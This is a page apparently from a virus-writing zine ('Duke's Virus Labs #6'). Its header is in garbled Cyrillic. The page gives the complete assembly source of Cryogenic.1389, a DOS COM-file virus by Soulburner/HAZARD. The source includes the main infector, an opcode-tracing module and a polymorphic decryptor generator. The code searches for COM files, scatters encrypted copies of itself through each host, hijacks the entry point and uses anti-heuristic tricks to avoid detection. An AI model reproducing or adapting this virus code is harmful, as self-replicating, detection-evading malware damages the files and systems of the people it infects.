- [Duke's Virus Labs #6] - [Page 15] -

Cryogenic
(c) by Soulburner/HAZARD

   : Cryogenic.1389
       : Soulburner/HAZARD
 ண. : TASM


 ।:
   ⢥ত ,  ⮩ १ COM-.   !..
   ᯮ ⠭ ᯮᮡ ࠦ COM-䠩 - ᪨뢠
   ⥫  ᪨ ஢ ᭮ .  騩
  ᥬ䨪, ᤥঠ騩 ᪮쪮 ᪨ ਥ.
  ᪮ ᠭ  ⠩ .

===== begin cryo.asm =====
; For Testing Purposes Only

; Cryo

; Compile this to exe file, run it and you will have one com file
; in current directory infected.

; Virus Description
; Type = Non resident Com Virus
; Desc = Uses non standard version of COM file infection.
;        Semi-Polymorphic,Crypted,Middle-File,and other stuff
; Size = 1389 bytes

; Small description - this virus is non-standard. It uses interesting technique
; of infecting Com files. This technique could be used in exe virus to.

; Step of file infecting
; 1. Find victim
; 2. Check size
; 3. If all ok, randomly gets offset for loader procedure, read's from there
;    loader procedure size + table size bytes
; 4. Then using loop, randomly gets offset for virus block in victim file.
;    If choosed area is free(no another blocks or loader), it read's block
;    size to variables, and writes here block. Offset of block in file is
;    stored in table (For each block, different entries)
; 5. When all blocks written, it writes procedure with newly created table.
; 6. Then it reads first 100 bytes and if first byte is JMP NEAR, jumps in
;    file to pointing position. Then it begins to semi-emul (calculate opcode
;    size) 50 bytes. When limit is reached, or any non-allowed opcode reached
;    (for example case,far jump,calls , etc) it returns control back.
; 7. At founded location it makes Near Call to Loader Procedure, and writes
;    to the end of file old parts of file.

; Contains some antiheuristics trick

Blocks  = 25                            ; How many blocks build ?
                                        ; Minimum = 1
                                        ; Maximum = 200
                                        ; (This values is only recommended)

MinLen  = 5000+Vlen+Blocks*2+Dlen       ; Minimum size of Infecting file
                                        ; More blocks - needed bigger file size

.model tiny
.286
.code
        org 0h
main:
        push ds ds ds                   ; Store Ds 3 times

        mov ax,1200h                    ; This is anti-heuristics trick
        int 2Fh                         ; In Dos i2Fh,Ax=1200h would return 0FFh
        mov cx,VLen                     ; in al
        inc al                          ; Al = 0
        mov si,offset AllOk
FFF:    xor byte ptr cs:[si],al         ; Crypt us by zero
        inc si
        loop FFF

        push cs:[zTbl]                  ; Store offset of entry procedure
        cmp cs:[zTbl],0                 ; If it zero-no restore (1st time exec)
        jz NoRestore                    ; This is done for first time run

        mov bp,sp                       ; Get offset of our "Call Loader"
        sub word ptr ss:[Bp][12*2+2],3  ; which is created by semi-emul proc.
        mov di,ss:[Bp][12*2+2]

        push ds
        pop  es
        mov si,cs:[Fend]                ; Restore 3 bytes (Call to loader)
        add si,100h                     ; Si now points to end of file
        movsb                           ; Patch to com file
        movsw

        mov di,cs:[ztbl]                ; Here is our loader procedure
        add di,100h
        mov cx,Ldrl+Blocks*2+Dlen
rep     movsb

        mov bx,offset Tbl               ; Cx = number of blocks
        mov cx,Blocks                   ; Bx = our table

LRest:  push cx                         ; Store number of blocks
        mov di,cs:[Bx]                  ; Di = block offset in file
        add di,100h                     ; Patch to com file
        mov ax,cx                       ; Ax = number of blocks
        mov cx,pvlen                    ; Cx = one block len
        dec ax                          ; Decrease Ax.
        jne CopyIt                      ; Zero ?
        add cx,Lvlen                    ; Yeap... If it zero, that's last block
                                        ; virus isn't padded to block size,
                                        ; so last block is bigger than any
                                        ; another
CopyIt:
rep     movsb                           ; Copy block
        inc bx                          ; Next block entry in table
        inc bx
        pop cx                          ; Restore num of blocks
        loop LRest                      ; again...

        push cs                         ; Es = Cs
        pop  es

        mov di,offset tbl               ; Di = offset to blocks table
        mov cx,Blocks
        xor ax,ax                       ; Clean it.
rep     stosw

NoRestore:

        push cs cs                      ; Ds = Es = Cs
        pop  ds es

        mov ah,1ah                      ; Setup DTA
        mov dx,offset dta
        int 21h
        mov ah,4eh                      ; Findfirst file
        xor cx,cx
        mov dx,offset fmask             ; Dx = File mask
FFile:  int 21h                         ; Go !
        jnc FExist                      ; Founded one...
        jmp Quit                        ; No files more...
FExist: cmp [FDate],0                   ; Date = 0 ?
        jne Infect                      ; If no - infect file
NFile:  mov ah,4fh                      ; Next File...
        jmp FFile                       ; Do it
Infect:
        mov ax,[Flen]                   ; Store file end
        mov [Fend],ax                   ; in our variables
        cmp ax,MinLen                   ; Less then minimum size ?
        jbe NFile

        xor ax,ax                       ; Get encrypt value
        Call GetRnd                     ; (for crypting blocks)
        mov [DPatch],al                 ; Store it

        mov ax,3d02h                    ; Open file
        mov dx,offset fname
        int 21h
        xchg ax,bx                      ; Handle to Bx

        mov ax,Flen
        sub ax,Ldrl-Blocks*2            ; Get random from 0 to
                                        ; FileLen - (LoaderLen + TableLen)
        call getrnd
        add ax,50                       ; this made to skip entry call overwrite

        mov [ztbl],ax                   ; Store loader offset

        xchg ax,dx                      ; Jump to this area

        mov ax,4200h                    ; Point..
        xor cx,cx
        int 21h

        mov ah,3fh
        mov dx,offset free+3            ; Lets read what stores there
        mov cx,ldrl+Blocks*2+Dlen       ; Cx - LoaderLen+BlocksLen+DecryptorLen
        int 21h

        mov [Cnt],0                     ; Counter = 0
LetsRock:
        call GetOff                     ; Get random offset for block in file
                                        ; which is not used.

        mov si,[Cnt]
        shl si,1
        add si,offset Tbl
        mov word ptr cs:[Si],ax         ; Store offset in table

        xchg ax,dx
        mov ax,4200h                    ; Point to it
        xor cx,cx
        int 21h

        push ax                         ; Store for later use

        mov ax,[Cnt]                    ; Calculate where to read old block
        mov cx,pvlen                    ; of file
        mul cx
        xchg ax,dx

        cmp [Cnt],Blocks-1              ; Last block ?
        jne NoAdd
        add cx,Lvlen                    ; If yes , add to it paricular size
NoAdd:
        mov ah,3fh
        add dx,offset free+Ldrl+Dlen+Blocks*2+3
                                        ; Read old bytes
        int 21h

        pop dx

        mov ax,4200h                    ; Back to choosed offset
        xor cx,cx
        int 21h

        mov ax,[Cnt]
        mov dx,pvlen
        mul dx
        xchg ax,si                      ; Calculate offset of block to be
                                        ; written

        mov di,offset StCrp             ; Di = temp area

        mov cx,pvlen
        cmp [Cnt],Blocks-1              ; Choose size of block
        jne NoAddZ
        add cx,Lvlen
NoAddZ:
        push cx di
LCrypt:                                 ; Crypt block...
        lodsb
        xor al,[Dpatch]
        stosb
        loop LCrypt

        pop  dx cx
        mov ah,40h                      ; Write crypted block
        int 21h

        inc [Cnt]
        cmp [Cnt],Blocks                ; Lets write next block
        jb LetsRock

        mov dx,[zTbl]                   ; Get offset of loader
        xor cx,cx
        mov ax,4200h                    ; Point to it
        int 21h

        mov si,offset Loader            ; Lets crypt loader with tables
        mov di,offset CrpAr
        mov cx,Ldrl+Blocks*2
        mov dx,[zTbl]                   ; Dx = offset in file
        add dx,100h
        Call XMM

        mov ah,40h
        mov dx,offset CrpAr             ; Write crypted
        int 21h

        mov ax,4200h                    ; Jump to beginning of file
        xor cx,cx
        cwd
        int 21h

        mov ah,3fh
        mov dx,offset CrpAr             ; Read 50 bytes
        mov cx,50
        int 21h

        cwd
        mov [JmpP],dx                   ; Dx=0. Used in relative call offset

        mov si,offset CrpAr             ; If first byte is JMP NEAR ?
        lodsb
        cmp al,0E9h
        jz ItJump
        jmp NotJmp                      ; Not jump
ItJump:
        lodsw
        add ax,3                        ; Calculate offset in file

        mov dx,[zTbl]
        cmp dx,Ldrl+Blocks*2+Dlen       ; Check if it points to any block ?
        jb ItLower
        sub dx,Ldrl+Blocks*2+Dlen       ; First - points to loader ?
        jmp Compare1
ItLower:
        mov dx,53
Compare1:
        cmp ax,dx                       ; Second - check if it points to
        jb OkWithLoader                 ; any block
        add dx,(Ldrl+Blocks*2+Dlen)*2
        cmp ax,dx
        jbe Blah
OkWithLoader:
        mov cx,Blocks
        mov di,offset Tbl
FindOff:
        mov dx,[Di]
        cmp dx,Pvlen
        jb ItLower2
        sub dx,Pvlen
        jmp Compare2
ItLower2:
        mov dx,53
Compare2:
        cmp ax,dx
        jb NormalBlock
        add dx,Pvlen*2
        cmp ax,dx
        jbe Blah
NormalBlock:
        loop FindOff

        xchg ax,dx
        mov ax,4200h                    ; All ok - no blocks there.
        xor cx,cx                       ; Point to this area
        int 21h
        mov [JmpP],ax
        mov ah,3fh
        mov dx,offset CrpAr             ; Read 50 bytes
        mov cx,50
        int 21h
        jmp NotJmp                      ; Lets trace it
Blah:
        mov ax,[zTbl]                   ; Founded jump to our blocks/loader
        sub ax,3
        mov [JPatch],ax
        mov ax,4200h                    ; Simple modify it.
        xor cx,cx
        cwd
        int 21h
        mov ah,3fh
        mov dx,offset free              ; Read first bytes
        mov cx,3
        int 21h
        mov ax,4200h
        xor cx,cx
        cwd
        int 21h
        mov ah,40h
        mov dx,offset JPatch-1          ; Write our jmp
        mov cx,3
        int 21h
        jmp WriteStuff
NotJmp:
        mov si,offset CrpAr             ; Si - where we loaded data
        mov cx,40
        Call Surf                       ; Surf through it !
        push si
        mov di,offset free              ; Store founded bytes
                                        ; (Surf finished at it)
        movsw
        movsb
        pop si
        mov ax,si
        sub ax,offset CrpAr
        add ax,[JmpP]
        sub ax,[zTbl]
        add ax,3
        neg ax
        mov [JPatch],ax                 ; Encode call
        mov cl,0E8h
        mov ds:[si],cl                  ; Patch different values
        mov ds:[si][1],ax
        mov dx,[JmpP]
        mov ax,4200h                    ; Back to loaded routine
        xor cx,cx
        int 21h
        mov ah,40h                      ; Write changed bytes (with call)
        mov dx,offset CrpAr
        mov cx,50
        int 21h
WriteStuff:
        mov ax,4202h                    ; To the end of file
        xor cx,cx
        cwd
        int 21h

        mov ah,40h                      ; Write file stuff
        mov dx,offset free
        mov cx,Vlen+ldrl+Dlen+Blocks*2+3
        int 21h

        mov ax,5701h                    ; Set date = 0
        cwd
        int 21h
        mov ah,3eh                      ; Close file
        int 21h
;       jmp NFile
        jmp Quit
;------------------------------------------------

        db      0E9h
JPatch  dw      ?

GetOff  proc
        mov ax,Pvlen
        cmp ax,Ldrl+Blocks*2+50+Dlen            ; This sub proc gets random
        ja NegPvlen                             ; offset for block
        mov ax,Ldrl+Blocks*2+50+Dlen
NegPvlen:
        neg ax
        add ax,[FLen]

        call getrnd
        add ax,53

        mov dx,[zTbl]
        sub dx,Ldrl+Blocks*2+50+Dlen            ; Check new offset with
        cmp ax,dx                               ; Loader
        jb Okz
        add dx,(Ldrl+Blocks*2+50+Dlen)*2
        cmp ax,dx
        jbe GetOff
Okz:
        mov si,offset Tbl
        mov cx,Blocks
CheckOut:
        mov dx,[Si]

        cmp [Cnt],Blocks-1
        jz ItSpec
;------------------------------------
        cmp dx,Pvlen+53                         ; Check new offset with offsets
        jb NoSub                                ; of previous blocks
        sub dx,PVlen
        jmp OkSub
NoSub:
        mov dx,53
OkSub:
        cmp ax,dx
        jb ItOk
        add dx,PVlen*2
        cmp ax,dx
        jbe GetOff
        jmp iTOk
;-----------------------------------
ItSpec:
        cmp dx,Pvlen+Lvlen+3+50
        jb NoSub2
        sub Dx,Pvlen+LVlen
        jmp OkSub2
NoSub2:
        mov dx,53
OkSub2:
        cmp ax,dx
        jb ItOk
        add dx,(Pvlen+Lvlen)*2
        cmp ax,dx
        jbe GetOff
;-----------------------------------
ItOk:   inc si
        inc si
        loop CheckOut
        ret
GetOff  endp

        db      '[Cryogenic] by Soulburner from [HAZARD] Team'

RandSeed        dd      12345678h

getrnd          proc                    ; Get's random value
                push dx
                push di si cx bx        ; Save used registers
                mov      cx,ax          ; save limit
                mov      ax,Word ptr cs:[RandSeed+2]
                mov      bx,Word ptr cs:[RandSeed]
                mov      si,ax          ; Lets make some manipulations
                mov      di,bx          ; with old random value
                mov      dl,ah
                mov      ah,al          ; Exchange it
                mov      al,bh
                mov      bh,bl
                xor      bl,bl
                rcr      dl,1           ; Rotate it
                rcr      ax,1
                rcr      bx,1
                add      bx,di
                adc      ax,si
                add      bx,62e9h       ; Add it
                adc      ax,3619h
                                        ; Store new value
                mov      word ptr cs:[RandSeed],bx
                mov      word ptr cs:[RandSeed+2],ax
                xor      dx,dx          ; If we divide by maximum needed
                                        ; value , in Dx we would get
                                        ; number which in area of 0 <-> Limit
                or cx,cx
                jnz YeapLimit
                mov dx,ax
                jmp NoLimit
YeapLimit:
                div      cx
NoLimit:
                pop      bx cx si di
                mov      ax,dx          ; return modulus
                pop dx
                ret
getrnd          EndP

fmask           db      '*.com',0

Quit:   pop ax
        or ax,ax
        jne NoHalt
        mov ah,4ch                      ; If we first time executed - just exit
        int 21h
NoHalt:
        pop es ds
        mov ah,1ah
        mov dx,80h
        int 21h
        pop dx
        mov word ptr cs:[BackTo][2],dx
        popa
        popf
        pop word ptr cs:[BackTo]

        jmp $+2                         ; Clear prefetch queue

        db      0EAh
BackTo  dd      ?

zTbl    dw      ?                       ; Storage for decryptor offset
Cnt     dw      ?
Fend    dw      ?                       ; Storage for file end

include xmm.inc
include surf.inc

Loader:
        call getpp                      ; This is loader
getpp:  pop bp
        sub bp,offset getpp

        mov ax,cs
        add ax,1000h
        mov es,ax

        mov cx,Blocks

        lea bx,[Tbl][Bp]                ; Get offset of block in table,
        xor di,di                       ; decrypt and copy it to new memory
        push es di                      ; location
LetsRest:
        push cx
        mov si,word ptr cs:[Bx]
        add si,100h
        mov ax,cx
        mov cx,PVlen
        dec ax
        jne NoAddD
        add cx,Lvlen
NoAddD:
        lodsb
        db      34h                     ; Xor al,ZZ
DPatch  db      ?
        stosb
        loop NoAddD

        inc bx
        inc bx
        pop  cx
        loop LetsRest
        retf                            ; To re-created virus...
ldrl    equ     offset $ - offset Loader

tbl     dw      Blocks dup (?)

Vlen    equ     offset $ - offset main
pvlen   equ     Vlen / Blocks
lvlen   equ     Vlen - Blocks*Pvlen

JmpP    dw      ?                       ; Storage for JMP offset

dta     db      21 dup (?)
        db      ?
        dw      ?
Fdate   dw      ?
Flen    dw      ?
        dw      ?
Fname   db      13 dup (0)

free    db      Ldrl + Blocks*2 + Vlen + 50 dup (?)

StCrp   db      Pvlen dup (?)

CrpAr:

end     main
===== end   cryo.asm =====

===== begin surf.inc =====
; Surf module by Soulburner


LOADED  equ     45
INITSi  dw      ?

; This subprogram calculates opcode size, and moving through it.
; Doesn't uses trace.


surf    proc    near
        ;...;
        mov cs:[InitSi],Si
FindIt:
        lodsb                           ; Get byte
        push cx
        xchg ah,al

        push si
        mov si,offset BadOpCode         ; Check for bad opcode
        call TestIt
        pop si

        cmp al,0
        jz NextTest2                    ; If zero - all ok
        pop cx
        dec si
        ret
NextTest2:
        cmp ah,0EBh                     ; Check for jump short
        jne TestNext1

        xor ax,ax
        push si
        lodsb
        add si,ax
        sub si,cs:[InitSi]              ; Check for offset, if it in area
        cmp si,LOADED                   ; of loaded block
        pop si
        jb AllOk
        pop cx
        ret
AllOk:
        add si,ax
        inc si
        jmp LoopIt

TestNext1:
        push si
        lea si,Grp1_Tbl                 ; Check for "group" opcodes
        call TestIt
        pop si

        cmp al,0
        jz TestBit16                    ; Nope...

        lodsb                           ; Get second byte and check for all
        xchg ah,al                      ; command size
        mov al,06
        mov cx,9
FindDirect:
        cmp ah,al
        jne TestNext
        jmp Bit16
TestNext:
        add al,7
        loop FindDirect

        cmp ah,40h
        ja TestMore
TwoByte1:
        jmp TwoByte
TestMore:
        cmp ah,80h
        ja TestMore1
        jmp Bit16
TestMore1:
        cmp ah,0C0h
        ja TwoByte1
        jmp FourByte

TestBit16:
        push si
        mov si,offset imm16                     ; Check for imm16b opcodes
        call testit
        pop si

        cmp al,0
        jz TestBit8                             ; Nope
        jmp Immed16
TestBit8:
        push si
        lea si,imm8
        call testIt                             ; Test for imm8bit
        pop si
        cmp al,0
        jz LoopIt
        jmp Immed8
LoopIt:
        pop cx                                  ; All ok... Probably
        or cx,cx                                ; not finded opcode is one
        jz AllDOne                              ; byte
        dec cx
        jmp FindIt
AllDone:
        ret
surf    endp
;-----------------------------------------------------
TestIt  proc    near                            ; This procedure works with
        lodsb                                   ; table
        cmp al,00                               ; Format of table is:
        jz This_Is_Range                        ; 00 - Range of numbers
        cmp al,1                                ;  If it is range, next
        jz TestValues                           ;  byte is lower number of
        cmp al,2                                ;  range, and next byte
        jz EndOfTbl                             ;  after lower - higher range
        jmp EndOfTbl                            ; 01 - Just counting of opcodes
TestValues:                                     ;  Next byte would be number
        xor cx,cx                               ;  of opcodes check, and after
        lodsb                                   ;  it goes opcodes
        xchg al,cl                              ; 02 - end of table
TestForValues:
        lodsb
        cmp ah,al
        jz Founded
        loop TestForValues
        jmp ToBad
This_Is_Range:
        lodsb
        xchg dh,al
        lodsb
        xchg dl,al
        cmp ah,dh
        jb ToBad
        cmp ah,dl
        ja ToBad
        jmp Founded
ToBad:
        jmp TestIt

EndOfTbl:
        mov al,0
        ret
Founded:
        mov al,1
        ret
TestIt  endp
;-----------------------------------------------------
Immed16:
FourByte:
        inc si
Immed8:
Bit16:
        inc si
TwoByte:
Bit8:
        jmp LoopIt

;-----------------------------------------------------
Grp1_Tbl        db      0, 0, 4
                db      0,10h,14h
                db      0,20h,24h
                db      0,30h,34h
                db      0,08h,0Bh
                db      0,18h,1Bh
                db      0,28h,2bH
                db      0,38h,3Bh
                db      0,84h,87h
                db      0,88h,8Bh
                db      01,01,0D3h
                db      02

Imm16           db      01,13
                db      05,15h,25h,35h,0A1h,0A3h,0Dh,1Dh,2Dh,3Dh,68h,0A9h,0E8h
                db      00,0B8h,0Bfh
                db      02

Imm8            db      01,11
                db      04,14h,24h,34h,0Ch,1Ch,2Ch,3Ch,6Ah,0A8h,0Cdh
                db      00,0E2h,0E7h
                db      00,0B0h,0B7h
                db      02

BadOpCode       db      01,07
                db      0CBh,0E9h,0EAh,09Ah,0C8h,0FEh,0FFh
                db      00,70h,7Fh
                db      00,68h,6Bh
                db      00,8Ch,8Fh
                db      00,80h,83h
                db      00,0C0h,0C7h
                db      00,0D0h,0D3h
                db      2
===== end   surf.inc =====

===== begin xmm.inn =====
; Simple crypting routine by Soulburner

; Cs:Si - Code
; Cs:Di - where
; Dx - offset , Cx - length to be crypted...

Dlen    = 22

xmm     proc
        push di
        push si cx
                                        ; Setup registers
        mov ax,3
        call getrnd

        mov [xorpt],ax

xmm_bad:
        mov ax,8
        call getrnd

        lea si,[Ut]
        add si,[xorpt]
        cmp al,byte ptr [si]
        jz xmm_bad
        cmp al,4
        jz xmm_bad
        mov [cntp],al                   ; Choosed counter

        mov al,9CH                      ; pushf
        stosb

        mov ax,9593h                    ; xchg ax,bx
        stosw
        mov ax,0EB87h                   ; xchg ax,bp
        stosw
        mov al,95h                      ; xchg bx,bp
        stosb

        mov al,60h                      ; xchg ax,bp
        stosb

        mov al,0B8h                     ; Mov ax,xxxx
        add al,[cntp]                   ; Change Mov Ax,xxxx to counter
        stosb                           ; register (for example Mov Cx,xxxx)

        mov ax,cx
        stosw

        mov al,0BBh                     ; Mov bx,xxxx

        lea si,[addt1]                  ; Change it to xor'ing register
        add si,[xorpt]
        add al,byte ptr [si]

        stosb
        mov ax,dx
        add ax,Dlen
        stosw

        mov al,80h                      ; xor [reg],imm8
        stosb

        lea si,[Addt2]
        add si,[xorpt]
        mov al,37h
        add al,byte ptr [Si]

        stosb

        xor ax,ax
        dec ax
        call getrnd

        mov [cval],al

        stosb

        mov al,43h                      ; Inc Pointer

        lea si,[Addt1]
        add si,[xorpt]
        add al,byte ptr [si]

        stosb

        mov al,48h                      ; Dec Counter
        add al,[Cntp]

        stosb

        mov al,0Bh                      ; or Counter,Counter
        stosb

        xor ax,ax
        mov al,[Cntp]
        shl al,3
        add al,0C0h
        add al,[Cntp]

        stosb

        mov ax,0F775h                   ; Jne Back
        stosw

        pop cx si

        mov ah,[Cval]
        push cx
Crypt:                                  ; Crypt source
        lodsb
        xor al,ah
        stosb
        loop Crypt
        pop cx
        add cx,Dlen

        pop di

        ret
xmm     endp

cntp    db      ?
xorpt   dw      ?
cval    db      ?

ut      db      3
        db      6
        db      7

addt1   db      0
        db      3
        db      4

addt2   db      0
        db      -3
        db      -2
===== end   xmm.inc =====
